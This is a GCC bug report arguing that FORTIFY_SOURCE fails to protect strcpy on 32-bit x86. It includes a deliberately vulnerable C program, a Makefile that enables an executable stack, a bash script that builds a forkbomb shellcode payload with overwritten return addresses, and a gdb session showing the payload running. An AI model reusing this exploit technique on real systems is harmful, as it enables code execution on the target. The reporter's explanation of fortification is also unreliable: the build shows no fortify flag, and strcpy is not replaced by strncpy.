https://gcc.gnu.org/bugzilla/show_bug.cgi?id=110168
Bug ID: 110168 Summary: Security issue on FORTIFY_SOURCE for strcpy function (tested on i386/32 bits) Product: gcc Version: 10.2.1 Status: UNCONFIRMED Severity: normal Priority: P3 Component: c Assignee: unassigned at gcc dot gnu.org Reporter: moncho.mendez at uvigo dot gal Target Milestone: --- Created attachment 55281 --> https://gcc.gnu.org/bugzilla/attachment.cgi?id=55281&action=edit Files used to reproduce the reported issue (see Description) The source fortification FORTIFY_SOURCE seems not to be working properly with some functions such as strcpy with should be automatically linked with strncpy. I have tested on 32 bits. I was using gcc 10.2.1 (Debian 11) but other versions of the compiler have the same issue. Please find below a simple C program to show the issue. The program is included below (also attached as stack.c): =================================== #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <stdbool.h> bool confirm(char *confirmacion){ char buf[15]; strcpy(buf,confirmacion); return tolower(buf[0])!='y'; } int main(int argc, char *argv[]){ if (argc>1) return confirm(argv[1]); else return 1; } =================================== I have disabled Linux Address Space Layout Randomization (ASLR) (sysctl kernel.randomize_va_space=0) to help to reproduce the error. I provide a script (no_ASLR.sh) to do it. The source code was compiled with a Makefile (included in the attached file): =================================== CC = gcc CFLAGS = -m32 --static -z execstack --save-temps all: stack.o stack.s $(CC) -g $(CFLAGS) -o stack stack.o %.o: %.c $(CC) -c -g -o $@ $< $(CFLAGS) clean: rm -f *.o *.s stack =================================== Using make no error/warning is generated. See the following output: =================================== # make gcc -c -g -o stack.o stack.c -m32 --static -z execstack gcc -S -c -fno-asynchronous-unwind-tables -o stack.s stack.c -m32 --static -z execstack gcc -g -m32 --static -z execstack -o stack stack.o =================================== I generated a script to create content for the first command line argument (create_xploit.sh in the attached file): =================================== #!/bin/bash # The shellcode implements a forkbomb in 7 bytes # Shellcode is available at # http://shell-storm.org/shellcode/files/shellcode-214.html # # section .text # global _start # _start: # push byte 2 # pop eax # int 0x80 # jmp short _start # Shellcode "\x6a\x02\x58\xcd\x80\xeb\xf9" #Add the shellcode (7 bytes) echo -e -n "\x6a\x02\x58\xcd\x80\xeb\xf9" > xploit #Fill the remaining 17 bytes (from byte 8 to byte 24, including both) for i in $(seq 8 23) do echo -e -n "\x90" >> xploit done #insert here two addresses to overwrite the ebp and eip copies #bytes should be included in reverse order #(gdb) p &buf #$1 = (char (*)[15]) 0xffffdc81 for i in 1 2 do echo -e -n "\x81\xdc\xff\xff" >> xploit done =================================== And then the program was launched with gdb debugger ('#' and '(gdb)' are the prompts of bash and gdb, respectivelly) =================================== # export ARG1=$(cat xploit) # gdb stack (gdb) list 4 #include <stdlib.h> 5 #include <stdbool.h> 6 7 bool confirm(char *confirmacion){ 8 char buf[15]; 9 strcpy(buf,confirmacion); 10 11 return tolower(buf[0])!='y'; 12 } 13 (gdb) b 9 Breakpoint 1 at 0x8049d07: file stack.c, line 9. (gdb) run $ARG1 Starting program: /root/4_fort_source/stack $ARG1 Breakpoint 1, confirm ( confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>, "\201\334\377\377\201\334\377\377") at stack.c:9 9 strcpy(buf,confirmacion); (gdb) p &buf $1 = (char (*)[15]) 0xffffdc81 (gdb) info frame Stack level 0, frame at 0xffffdca0: eip = 0x8049d07 in confirm (stack.c:9); saved eip = 0x8049d6a called by frame at 0xffffdcd0 source language c. Arglist at 0xffffdc98, args: confirmacion=0xffffde9c "j\002X̀\353\371", '\220' <repeats 16 times>, "\201\334\377\377\201\334\377\377" Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0 Saved registers: ebx at 0xffffdc94, ebp at 0xffffdc98, eip at 0xffffdc9c (gdb) step 11 return tolower(buf[0])!='y'; (gdb) x/5i &buf 0xffffdc81: push $0x2 0xffffdc83: pop %eax 0xffffdc84: int $0x80 0xffffdc86: jmp 0xffffdc81 0xffffdc88: nop (gdb) x/2xw 0xffffdc98 0xffffdc98: 0xffffdc81 0xffffdc81 (gdb) continue =================================== After the last program the shellcode is executed and lots of processes are created. In order to sucessfully get the same results, the script used to generate the first arg should be modified acording to the address where the stack variable "buf" is stored when using the variable ARG1 as first argument. The replacements should be made in the last but one sentence of the script. The bytes of the address should be added in reverse order. The fortification of some functions (such as gets) is working properly and they are replaced (during linking) by the secure ones (fgets). Moreover for these functions the compiler show a warning about a call to an insecure function. However strcpy function does not generate any warning and is not secured properly linked with strncpy. The call strcpy(dst,src) is equivalent to strncpy(dst,src,sizeof(dst)/sizeof(char)-1). This can be made manually but... gcc should do it. The preprocessed file generated by gcc is also included in the attached file. Do not hesitate contact me for further information. Best regards.